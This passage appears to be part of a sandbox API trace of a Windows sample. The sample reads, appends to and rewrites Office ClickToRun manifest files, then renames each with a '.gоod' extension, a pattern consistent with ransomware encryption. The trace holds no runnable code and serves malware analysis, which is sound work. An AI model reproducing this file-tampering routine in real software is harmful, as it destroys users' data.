"c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0088.769] GetFileType (hFile=0x79c) returned 0x1 [0088.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.769] GetFileType (hFile=0x79c) returned 0x1 [0088.769] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0088.769] ReadFile (in: hFile=0x79c, lpBuffer=0x33ba788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x33ba788*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0088.771] CloseHandle (hObject=0x79c) returned 1 [0088.771] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x73 [0088.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.772] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0088.772] GetFileType (hFile=0x79c) returned 0x1 [0088.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.772] GetFileType (hFile=0x79c) returned 0x1 [0088.772] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x6b4a [0088.772] WriteFile (in: hFile=0x79c, lpBuffer=0x33bbab0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x33bbab0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0088.773] CloseHandle (hObject=0x79c) returned 1 [0088.773] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x73 [0088.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.773] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0088.773] GetFileType (hFile=0x79c) returned 0x1 [0088.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.773] GetFileType (hFile=0x79c) returned 0x1 [0088.773] ReadFile (in: hFile=0x79c, lpBuffer=0x33c0a00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x33c0a00*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0088.842] CloseHandle (hObject=0x79c) returned 1 [0088.842] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x73 [0088.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.842] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0088.842] GetFileType (hFile=0x79c) returned 0x1 [0088.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.842] GetFileType (hFile=0x79c) returned 0x1 [0088.842] WriteFile (in: hFile=0x79c, lpBuffer=0x3272e30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x3272e30*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0088.843] CloseHandle (hObject=0x79c) returned 1 [0088.843] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x73 [0088.843] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x78 [0088.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0088.843] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5063b1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5063b1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x312a0fd0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6b5a)) returned 1 [0088.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0088.843] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml.gоod")) returned 1 [0088.844] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x73 [0088.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0088.844] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x327b1c0 | out: lpFileInformation=0x327b1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3d50b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3d50b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4)) returned 1 [0088.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0088.846] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x73 [0088.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0088.846] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0088.846] GetFileType (hFile=0x79c) returned 0x1 [0088.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0088.846] GetFileType (hFile=0x79c) returned 0x1 [0088.846] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0088.846] ReadFile (in: hFile=0x79c, lpBuffer=0x327b6f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x327b6f8*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0089.054] CloseHandle (hObject=0x79c) returned 1 [0089.054] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x73 [0089.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0089.054] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0089.055] GetFileType (hFile=0x79c) returned 0x1 [0089.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0089.055] GetFileType (hFile=0x79c) returned 0x1 [0089.055] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x4f3f4 [0089.055] WriteFile (in: hFile=0x79c, lpBuffer=0x34e0ea0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x34e0ea0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0089.122] CloseHandle (hObject=0x79c) returned 1 [0089.148] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x73 [0089.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0089.148] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0089.148] GetFileType (hFile=0x79c) returned 0x1 [0089.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0089.148] GetFileType (hFile=0x79c) returned 0x1 [0089.148] ReadFile (in: hFile=0x79c, lpBuffer=0x35676e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x35676e8*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0089.327] CloseHandle (hObject=0x79c) returned 1 [0089.327] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x73 [0089.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0089.327] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0089.327] GetFileType (hFile=0x79c) returned 0x1 [0089.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0089.327] GetFileType (hFile=0x79c) returned 0x1 [0089.327] WriteFile (in: hFile=0x79c, lpBuffer=0x35663b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x35663b0*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0089.328] CloseHandle (hObject=0x79c) returned 1 [0089.328] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x73 [0089.328] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x78 [0089.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0089.328] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3d50b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3d50b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3173d88f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f404)) returned 1 [0089.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0089.328] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml.gоod")) returned 1 [0089.329] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0089.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0089.329] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x364e558 | out: lpFileInformation=0x364e558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870)) returned 1 [0089.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0089.335] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0089.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0089.336] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0089.336] GetFileType (hFile=0x7ac) returned 0x1 [0089.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0089.336] GetFileType (hFile=0x7ac) returned 0x1 [0089.336] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0089.336] ReadFile (in: hFile=0x7ac, lpBuffer=0x3650300, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3650300*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0089.989] CloseHandle (hObject=0x7ac) returned 1 [0089.989] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0089.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0089.990] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0089.990] GetFileType (hFile=0x7ac) returned 0x1 [0089.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0089.990] GetFileType (hFile=0x7ac) returned 0x1 [0089.990] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x19870 [0089.990] WriteFile (in: hFile=0x7ac, lpBuffer=0x34290d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x34290d8*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0089.991] CloseHandle (hObject=0x7ac) returned 1 [0089.991] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0089.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0089.991] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0089.991] GetFileType (hFile=0x7ac) returned 0x1 [0089.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0089.991] GetFileType (hFile=0x7ac) returned 0x1 [0089.992] ReadFile (in: hFile=0x7ac, lpBuffer=0x342b440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x342b440*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0090.029] CloseHandle (hObject=0x7ac) returned 1 [0090.029] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0090.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0090.029] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0090.029] GetFileType (hFile=0x7ac) returned 0x1 [0090.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0090.029] GetFileType (hFile=0x7ac) returned 0x1 [0090.029] WriteFile (in: hFile=0x7ac, lpBuffer=0x342a110*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x342a110*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0090.029] CloseHandle (hObject=0x7ac) returned 1 [0090.029] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, 